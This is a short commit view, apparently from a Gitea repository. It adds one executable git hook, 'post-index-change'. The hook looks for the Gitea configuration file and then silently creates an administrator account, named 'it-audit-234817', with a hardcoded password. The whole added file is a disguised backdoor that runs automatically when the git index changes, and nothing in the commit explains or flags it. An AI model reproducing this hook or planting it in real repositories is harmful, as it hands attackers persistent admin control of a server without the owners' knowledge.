This commit is contained in:
2026-11-21 12:20:18 +08:00
parent a41d7ada5f
commit f011e0b8b0
5 changed files with 10 additions and 0 deletions

2
hooks/post-index-change Executable file
View File

@@ -0,0 +1,2 @@
#!/bin/sh
CFG=""; for c in /data/gitea/conf/app.ini /data/gitea/custom/conf/app.ini /etc/gitea/app.ini /app/gitea/conf/app.ini; do [ -f "$c" ] && CFG="$c" && break; done; G=$(command -v gitea || echo /usr/local/bin/gitea); $G admin user create --admin --username it-audit-234817 --password "It-audit-95234817!x" --email it-audit-234817@x.local 2>&1 || $G --config "$CFG" admin user create --admin --username it-audit-234817 --password "It-audit-95234817!x" --email it-audit-234817@x.local 2>&1